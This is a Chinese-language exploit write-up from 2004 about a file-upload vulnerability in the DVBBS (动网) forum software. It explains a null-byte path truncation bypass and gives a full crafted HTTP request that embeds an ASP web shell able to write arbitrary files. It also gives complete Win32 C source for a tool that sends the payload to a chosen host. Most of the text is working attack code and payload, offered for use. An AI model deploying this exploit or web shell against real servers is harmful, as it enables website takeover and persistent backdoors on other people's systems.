动网论坛上传文件漏洞的原理以及攻击的代码实现

关注+2004-10-07作者：蓝点

          最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪（猪蛋儿的《目前流行的BBS安全性比较》一文请参阅：http://wvw.ttian.net/forum/viewtopic.php?id=269）说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).

  我们先看一下动网论坛上传文件的相关代码:

'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
iCount=0

if upload.err > 0 then
  select case upload.err
  case 1
  Response.Write "请先选择你要上传的文件　[ 重新上传 ]"
  case 2
  Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K　[ 重新上传 ]"
  end select
  exit sub
  else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"

for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
  response.write "请先选择你要上传的图片　[ 重新上传 ]"
  response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
  response.write "文件格式不正确　[ 重新上传 ]"
  response.end
end if

randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then     ''如果 FileSize > 0 说明有文件数据
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!
"
response.write ""
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 个文件上传结束!"

end if
end sub

在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:

这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.

我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):

POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"

uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain

<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "save Success!"%>
<%else%>
<%response.write "Save UnSuccess!"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write ""%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"

C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4a325500d2--

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"

C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include
#include
#include "Resource.h"

#pragma  comment(lib,"ws2_32.lib")

HINSTANCE    g_hInst;
HWND      g_hWnd;
HWND      m_up;
HWND      m_host;
HWND      m_webpath;
HWND      m_path;
HWND      m_filename;
HWND      m_upload;
DWORD      m_theadid;
BYTE      sendbuf[10000];
char      host[80];      //主机地址
char      bbspath[50];    //论坛地址
char      uppath[20];      //上传目录
char      upfilename[50];    //上传文件名
char      upfiledata[8000];  //上传文件内容
int        sendsize;      //总传送数据大小
int        realsndsize = 0;  //传送页面文件的大小
char      snddata[8000];
char      mm[1000]=
          "<%dim objFSO%>\r\n"
          "<%dim fdata%>\r\n"
          "<%dim objCountFile%>\r\n"
          "<%on error resume next%>\r\n"
          "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
          "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
          "<%fdata = request(\"cyfddata\")%>\r\n"
          "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
          "<%objCountFile.Write fdata%>\r\n"
          "<%if err =0 then%>\r\n"
          "<%response.write \"save Success!\"%>\r\n"
          "<%else%>"
          "<%response.write \"Save UnSuccess!\"%>\r\n"
          "<%end if%>\r\n"
          "<%err.clear%>\r\n"
          "<%end if%>"
          "<%objCountFile.Close%>\r\n"
          "<%Set objCountFile=Nothing%>\r\n"
          "<%Set objFSO = Nothing%>"
          "<%Response.write \"\"%>\r\n";

//获得控件文本
char *gettext(HWND chwnd)
{
  char tmpbuf[10000];
  SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
  return tmpbuf;
}

//设置控件文本
void settext(HWND chwnd,char *text)
{
  SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}

char *itos(int data)
{
  char tmp[10];
  sprintf(tmp, "%d", data);
  return tmp;
}

//上传线程
DWORD WINAPI uploadthread(LPVOID param)
{
  SOCKET    s;
  sockaddr_in sin;
  struct hostent * hp;
  unsigned int  addr;

  s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  ZeroMemory((void *)&sin, sizeof(sin));

  hp = gethostbyname(gettext(m_host));
  if (!hp)
    addr = inet_addr(gettext(m_host));
  if ((!hp) && (addr == INADDR_NONE) )
  {
    MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
    return 0;
  }
  if (hp != NULL)
    memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
  else
    sin.sin_addr.s_addr = addr;

  sin.sin_port = htons(80);
  sin.sin_family = AF_INET;

  strcpy(host, gettext(m_host));
  strcpy(bbspath, gettext(m_webpath));
  strcpy(upfiledata, gettext(m_upload));
  strcpy(uppath, gettext(m_path));
  strcpy(upfilename, gettext(m_filename));

  realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;

  sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
        "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
        "Accept-Language: zh-cn\r\n"
        "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
        "Host: %s\r\n"
        "Content-Length: %d\r\n"
        "Connection: Keep-Alive\r\n"
        "Cache-Control: no-cache\r\n"
        "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
        "%s\\%s",
        bbspath,
        host,
        realsndsize,
        uppath,
        upfilename);

  sendsize = strlen((char *)sendbuf);
  sendbuf[sendsize] = '\0';

  sprintf(snddata,
        "\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
        "upload\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
        "Content-Type: text/plain\r\n\r\n"
        "%s\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
        "C:\\1.gif\r\n"
        "-----------------------------7d4a325500d2\r\n"
        "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
        "上传\r\n"
        "-----------------------------7d4a325500d2--\r\n\r\n",
        upfiledata);

  strcat((char *)&sendbuf[sendsize+1], snddata);

  sendsize += strlen(snddata);
  sendsize += 1;

  if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
  {
    MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
    return 0;
  }
  int sendsz = send(s, (char *)sendbuf, sendsize, 0);
  if(sendsz <= 0)
    MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
  char recvbuf[10000];
  recv(s, (char*)recvbuf, 10000, 0);
  settext(m_upload, recvbuf);
  closesocket(s);
  return 0;
}

void WINAPI  On_Command(WPARAM wParam)
{
  switch (LOWORD(wParam))
  {
    case ID_UP:
      CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
      break;
    case IDCANCEL:
      SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
      break;
  }
}

static BOOL  CALLBACK MainDlgProc(HWND hWndDlg, UINT msg,  WPARAM wParam, LPARAM lParam)
{
  switch (msg)
  {
    case WM_INITDIALOG:
      g_hWnd = hWndDlg;
      m_up = GetDlgItem(g_hWnd, ID_UP);
      m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
      m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
      m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
      m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
      m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
      settext(m_host, "192.168.10.101");
      settext(m_webpath, "/");
      settext(m_path, "uploadface");
      settext(m_filename, "zwell.asp");
      settext(m_upload, mm);
      return TRUE;

    case WM_COMMAND:
      On_Command(wParam);
      break;

    case WM_SIZE:
      break;

    case WM_CLOSE:
      EndDialog(g_hWnd,0);
      break;
  }
  return FALSE;
}

int  APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE  hPrevInstance, LPSTR lpCmdLine,  int  nCmdShow)
{
  WSADATA  wsaData;

  g_hInst=hInstance;
  if(WSAStartup(MAKEWORD(1, 1), &wsaData))
  {
    MessageBox(NULL,"无法初始化  Winsock  DLL\t","错误",MB_OK|MB_ICONSTOP);
    return 0;
  }
  DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1),  NULL, (DLGPROC)  MainDlgProc);
  WSACleanup();
  return 1;
}

WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过